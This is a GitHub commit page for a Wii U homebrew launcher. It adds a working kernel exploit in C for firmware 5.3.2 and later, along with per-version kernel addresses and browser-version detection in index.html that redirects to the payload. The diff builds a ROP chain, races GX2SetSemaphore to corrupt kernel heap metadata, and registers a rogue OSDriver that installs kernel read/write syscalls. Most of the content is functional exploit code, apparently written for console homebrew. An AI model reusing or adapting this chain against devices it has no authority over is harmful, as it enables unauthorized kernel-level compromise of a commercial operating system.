Skip to content

Commit

Permalink
- merged new gx2sploit and replaced the OSDriver exploit for firmware…
Browse files Browse the repository at this point in the history
…s 5.3.2 and higher

- added direct launch link implementation for 5.5.0/5.5.1
- added 5.5.1 redirect to correct payload in index.html (thanks to The_Marcster for point it out)
- fixed sound clicking issue on firmware 3.x.x (thanks to FIX94)
  • Loading branch information
dimok789 committed May 3, 2016
1 parent 3512990 commit 072f08e
Show file tree
Hide file tree
Showing 7 changed files with 404 additions and 232 deletions.
184 changes: 171 additions & 13 deletions installer/kexploit.c
Original file line number Diff line number Diff line change
@@ -1,12 +1,165 @@
#include "kexploit.h"

void wait(unsigned int t);
void wait(unsigned int coreinit_handle, unsigned int t);
void doBrowserShutdown(unsigned int coreinit_handle);
void setupOSScreen(unsigned int coreinit_handle);
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
void exitOSScreen(unsigned int coreinit_handle);
void callSysExit(unsigned int coreinit_handle, void *sysFunc);

#if (VER >= 532)
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
/* Get a handle to coreinit.rpl and gx2.rpl */
unsigned int coreinit_handle = private_data->coreinit_handle;
unsigned int gx2_handle = 0;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);

//needed to not destroy screen
doBrowserShutdown(coreinit_handle);

/* Exit functions */
void (*__PPCExit)();
void (*_Exit)();
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);

/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);

/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr);
int (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);

/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);

/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int action);
void (*GX2Flush)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);

/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);

/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;

/* Find some gadgets */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;

/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;

/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8);
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20);
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, stack + 0x28, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");

/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;

stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */

stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;

stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */

stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */

stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */

stack[0x94/4] = (uint32_t)OSExitThread;

/* Start the thread */
OSResumeThread(thread);

/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}

/* Free stuff */
private_data->MEMFreeToDefaultHeap(thread);
private_data->MEMFreeToDefaultHeap(stack);

/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);

/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4);

/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
CopyToSaveArea(drvname, 6, syscalls, 8);

/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);

/* Modify the kernel address table and exit */
//kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000);
//kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800);
}

#else
typedef struct
{
char *drvb_name;
Expand Down Expand Up @@ -40,6 +193,7 @@ static void thread_callback(int argc, void *argv)
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
}


/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(private_data_t *private_data)
{
Expand All @@ -54,7 +208,7 @@ void run_kexploit(private_data_t *private_data)
if(KERN_SYSCALL_TBL == 0)
{
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
wait(0x3FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}

Expand Down Expand Up @@ -118,7 +272,7 @@ void run_kexploit(private_data_t *private_data)
if (ret0 == false || ret2 == false)
{
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
wait(0x2FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
exitOSScreen(coreinit_handle);
}

Expand Down Expand Up @@ -231,7 +385,7 @@ void run_kexploit(private_data_t *private_data)
if (status != 0)
{
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
wait(0x2FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
Expand All @@ -241,7 +395,7 @@ void run_kexploit(private_data_t *private_data)
if (!copy_payload)
{
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
wait(0x2FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
Expand Down Expand Up @@ -316,7 +470,7 @@ void run_kexploit(private_data_t *private_data)
if (result != KERN_CODE_READ)
{
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
wait(0x2FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
Expand All @@ -341,7 +495,7 @@ void run_kexploit(private_data_t *private_data)
if (!(drva_addr && drvhax_addr))
{
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
wait(0x2FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
callSysExit(coreinit_handle,SYSLaunchSettings);
exitOSScreen(coreinit_handle);
}
Expand All @@ -356,18 +510,22 @@ void run_kexploit(private_data_t *private_data)
private_data->MEMFreeToDefaultHeap((void*)stack2);

//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
//wait(0x1FFFFFFF);
//wait(coreinit_handle, 0x3FFFF);
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
//exitOSScreen(coreinit_handle);
}
#endif

void wait(unsigned int t)

void wait(unsigned int coreinit_handle, unsigned int t)
{
// the wait times are too short with optimizations enabled so we double them
t *= 2;
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);

while(t--)
asm volatile("nop");
{
OSYieldThread();
}
}

void doBrowserShutdown(unsigned int coreinit_handle)
Expand Down Expand Up @@ -397,7 +555,7 @@ void doBrowserShutdown(unsigned int coreinit_handle)
IM_Close(fd);
OSFreeToSystem(mem);
//wait a bit for browser end
wait(0x1FFFFFFF);
wait(coreinit_handle, 0x3FFFF);
}

void drawString(unsigned int coreinit_handle, int x, int y, char * string)
Expand Down
29 changes: 18 additions & 11 deletions installer/kexploit.h
Original file line number Diff line number Diff line change
Expand Up @@ -20,68 +20,75 @@
#define CODE_ADDRESS_END 0x0F848A0C
#endif

/* Kernel addresses, for each new kernel */
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#if VER == 200
#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E00
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 210
#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E40
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 300
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 310
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 400
#define KERN_SYSCALL_TBL 0xFFE85890
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB7E5C
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 410
#define KERN_SYSCALL_TBL 0xffe85890
#define KERN_CODE_READ 0xfff02214
#define KERN_CODE_WRITE 0xfff02234
#define KERN_ADDRESS_TBL 0xffeb902c
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR 0x00000000
#elif VER == 500
#define KERN_SYSCALL_TBL 0xffea9520
#define KERN_CODE_READ 0xfff021f4
#define KERN_CODE_WRITE 0xfff02214
#define KERN_ADDRESS_TBL 0xffea9e4c
#define KERN_HEAP 0xFF200000
#elif VER == 532
#define KERN_DRVPTR 0x00000000
#elif (VER == 532) || (VER == 540)
#define KERN_SYSCALL_TBL 0xFFEAA0E0
#define KERN_CODE_READ 0xFFF02274
#define KERN_CODE_WRITE 0xFFF02294
#define KERN_ADDRESS_TBL 0xFFEAAA10
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#elif VER == 550
#define KERN_SYSCALL_TBL 0xFFEAAE60
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_HEAP 0xFF200000
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#else
#error "Unsupported Wii U software version"
#endif

/* Browser PFID */
#define PFID_BROWSER 8

/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10

/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000

Expand Down
2 changes: 1 addition & 1 deletion src/Application.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ Application *Application::applicationInstance = NULL;
bool Application::exitApplication = false;

Application::Application()
: CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000)
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x20000)
, bgMusic(NULL)
, video(NULL)
, mainWindow(NULL)
Expand Down
Binary file modified www/homebrew_launcher/code532.bin
Binary file not shown.
Binary file modified www/homebrew_launcher/code550.bin
Binary file not shown.
9 changes: 8 additions & 1 deletion www/homebrew_launcher/index.html
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,15 @@
{
-->Store the exact browser version to a string
versionNumber=versionRE[1];
-->See if browser is for Wii U version 5.5.1
if(versionNumber == "3.0.4.2.12")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.1";
window.location = "payload.php?sysver=550";
}
-->See if browser is for Wii U version 5.5.0
if(versionNumber == "3.0.4.2.11")
else if(versionNumber == "3.0.4.2.11")
{
-->Display message and redirect to payload URL
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.0";
Expand Down
Loading

0 comments on commit 072f08e

Please sign in to comment.